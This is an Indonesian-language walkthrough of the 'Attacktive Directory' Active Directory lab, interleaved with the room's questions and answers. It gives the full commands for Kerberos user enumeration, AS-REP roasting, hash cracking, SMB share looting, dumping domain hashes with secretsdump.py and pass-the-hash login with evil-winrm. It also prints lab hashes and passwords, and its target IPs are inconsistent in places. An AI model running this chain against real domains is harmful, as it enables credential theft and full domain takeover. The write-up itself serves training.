Attacktive Directory adalah lab penetration testing yang berfokus pada eksploitasi Active Directory misconfiguration. Tujuan utama dari lab ini adalah mendapatkan akses ke domain dan melakukan privilege escalation hingga memperoleh akses Domain Administrator.
Initial Enumeration
Langkah pertama adalah melakukan scanning untuk mengetahui service apa saja yang berjalan pada target. Disini kita dapat menggunakan tools seperti nmap atau enum4llinux.
nmap -sC -sV -Pn 10.48.163.222
enum4linux 10.48.163.222
Dari hasil scan Nmap, kita dapatkan port yang terbuka:
- 53 DNS
- 80 HTTP (IIS 10)
- 88 Kerberos
- 135 RPC
- 139 NetBIOS
- 389 LDAP
- 445 SMB
- 464 Kerberos password change
- 593 RPC over HTTP
- 636 LDAPS
- 3389 RDP
- 5985 WinRM
Dapat diidentifikasi bahwa mesin target merupakan sebuah Domain Controller yang menjalankan Active Directory dengan nama domain spookysec.local. Informasi ini diperoleh dari output service detection pada port 389 (LDAP).
What tool will allow us to enumerate port 139/445?
enum4linux
What is the NetBIOS-Domain Name of the machine?
THM-AD
What invalid TLD do people commonly use for their Active Directory Domain?
.local
User Enumeration
Kita lakukan enumerasi user menggunalan tool Kerbrute.
kerbrute userenum --dc 10.48.163.222 -d spookysec.local userlist.txt
Kerbrute berhasil membuktikan bahwa username berikut benar-benar ada di domain:
- james
- svc-admin
- robin
- darkstar
- administrator
- backup
- paradox
Dan juga memberi pesan "svc-admin has no pre auth required", yang berarti akun svc-admin memilki konfigurasi kerberos pre-authentication disabled.
Didapatkan juga hash kerberos:
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:ba57b4765449529b8b63a8a73fb0ee75$f2466b8524ebcac8836d43ff22ebe64bdccb598c31fc87200ab5817113f40887e2a2e7934a0d214304cbcc5d0dfa2339d543ac67d8bae47bca78583c39ee41ed2552f775d4dc8665d1e98e6da7ea84a92faad0955bfa4d0c55493f77ac06d3340d68941dc283e122d3822271bcaca72200ea3e2cf925da30d13d1c6c430b94a69f0200c57f8141d5308a0c2e88ca791e570dd502a5f681ec30c37c27747cef41155ce1261ab1022157c36792e1bc704f442116dcd699808c522f7337ca802c16d5cae0cf790f6032f24b88de2112c0589b2ee3b4c1f286c2aa61457a2f0aa95d69fcd5cc223db00541cd5edc0fcc8e19811c
Hash tersebut kita simpan di file hash.txt untuk bisa di-crack secara offline menggunakan tool seperti hashcat atau john.
hashcat -m 18200 hash.txt passwordlist.txt --show
Disini kita dapatkan "management2005" sebagai password dari user svc-admin.
We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?
svc-admin
Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)
Kerberos 5 AS-REP etype 23
What mode is the hash?
18200
Now crack the hash with the modified password list provided, what is the user accounts password?
management2005
Enumeration: SMB
Setelah kita dapat password untuk user svc-admin, kita lakukan koneksi ke smb server dengan smbclient.
smbclient -L 10.248.166.50 -U svc-admin
Daris ini kita dapatkan ada 6 share yang bisa diakses, kita coba akses satu persatu.
smbclient '//10.48.166.50/ADMIN$' -U svc-admin
smbclient //10.48.166.50/backup -U svc-admin
smbclient '//10.48.166.50/C$' -U svc-admin
smbclient '//10.48.166.50/IPC$' -U svc-admin
smbclient //10.48.166.50/NETLOGON -U svc-admin
smbclient //10.48.166.50/SYSVOL -U svc-admin
Pada share backup kita menemukan sebuah file txt, yaitu backup_credentials.txt yang isinya bisa didecode dengan base64, dari sini kita dapat kredensial user backup.

What utility can we use to map remote SMB shares?
smbclient
Which option will list shares?
-l
How many remote shares is the server listing?
6
There is one particular share that we have access to that contains a text file. Which share is it?
backup
What is the content of the file?
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Decoding the contents of the file, what is the full contents?
backup@spookysec.local:backup2517860
Domain Privilege Escalation
Setelah mendapatkan kredensial akun backup, kita kemungkinan punya akses lebih tinggi di sistem. Akun ini digunakan untuk proses sinkronisasi backup Domain Controller, sehingga memiliki izin membaca perubahan di Active Directory, termasuk hash password pengguna.
Dengan izin itu, kita bisa memakai tool dari Impacket yaitu secretsdump.py untuk mengambil hash password dari semua user.
secretsdump.py backup:backup2517860@10.48.166.50 > output.txt
Output dari hasil akan menampilkan format seperti
username : RID : LM hash : NTLM hashWhat method allowed us to dump NTDS.DIT?
DRSUAPI
What is the Administrators NTLM hash?
0e0363213e37b94221497260b0bcb4fc
What method of attack could allow us to authenticate as the user without the password?
Pass The Hash
Using a tool called Evil-WinRM what option will allow us to use a hash?
-H
Flag Submission Panel
Kita masuk sebagai administrator terlebih dahulu menggunakan hash yang kita dapat tadi.
evil-winrm -i 10.48.166.50 -u administrator -H 0e0363213e37b94221497260b0bcb4fc- svc-admin
cd C:\Users\svc-admin\Desktop
dir
type user.txt.txt
2. backup
cd C:\Users\backup\Desktop
dir
type PrivEsc.txt
3. Administrator
cd C:\Users\Administrator\Desktop
dir
type root.txt
Kesimpulan
Room ini menunjukkan bagaimana akses awal ke satu akun bisa berkembang menjadi kontrol penuh terhadap domain. Melalui enumerasi dan eksploitasi AS-REP roasting pada Kerberos, kita mendapatkan kredensial baru. Akun backup kemudian digunakan untuk mengekstrak hash seluruh pengguna domain dengan secretsdump.py dari paket Impacket. Setelah memperoleh hash Administrator, kita melakukan pass-the-hash untuk masuk ke server menggunakan Evil-WinRM dan akhirnya mendapatkan akses administrator pada domain.